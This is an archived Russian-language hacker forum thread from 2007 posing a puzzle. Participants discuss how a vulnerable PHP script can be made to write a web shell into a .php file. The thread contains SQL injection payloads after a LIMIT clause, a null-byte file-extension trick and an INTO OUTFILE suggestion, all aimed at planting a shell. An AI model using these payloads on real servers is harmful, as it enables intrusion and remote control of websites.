PDA

Просмотр полной версии : "Загадка" для хакера


Xex
14.04.2007, 18:14
Имеется запрос вида

script.php?start=0&len=20

в скрипте он обрабатывается так
$sql="SELECT shell FROM table WHERE id=1 LIMIT".$start.",".$len;

$file = fopen("file".$start."_".$len"."html");
fputs ($file, [РЕЗУЛЬТАТ СКУЛЬ ЗАПРОСА, АКА ШЕЛЛ]);
fclose ($file);

Как составить запрос так, чтобы и мускуль вывел шелл и файл создать с пхп расширением?

P>S>нульбайт можно вставлять и любые кавычки, т.е. подобных запретов нет

andy13
14.04.2007, 18:57
script.php?start=1,1--&len=.php%00

так пойдет?
это такая фишка, что fopen написана не полностью и с лишней
кавычкой?
$file = fopen("file".$start."_".$len."html",'w');

Joker-jar
14.04.2007, 19:09
$sql="SELECT shell FROM table WHERE id=1 LIMIT".$start.",".$len;
После LIMIT нет пробела. И len=.php%00 не пройдет в запросе...

Xex
14.04.2007, 19:15
пзл, не придирайтесь к синтаксису, писал чтобы передать смысл.

RE:"script.php?start=1,1--&len=.php%00" - такой вариант не подойдет, такой вид коммента(--) фильтруеца к сожалению

andy13
14.04.2007, 19:17
Joker-jar, почему не пройдет?
толькочто проверил локально - работает.
После LIMIT нет пробела.
script.php?start=%201,1--&len=.php%00

Xex, может, попробовать залить через "into outfile"?
Или нет прав?

Joker-jar
14.04.2007, 19:36
Как я понял, нужно не только создать php файл, но еще и шелл залить. Тогда инъекция нужна.
$sql="SELECT shell FROM table WHERE id=1 LIMIT".$start.",".$len;
Инъекция после LIMIT. Если в $start передавать что-нибудь типа 1000000+union+select+... то придется коментить остальную часть запроса ",".$len;, но * не пропустится в имя файла...

Xex
15.04.2007, 01:16
Как я понял, нужно не только создать php файл, но еще и шелл залить. Тогда инъекция нужна.

Инъекция после LIMIT. Если в $start передавать что-нибудь типа 1000000+union+select+... то придется коментить остальную часть запроса ",".$len;, но * не пропустится в имя файла...

во-во...вот и думаю, неплохая задачка вышла=)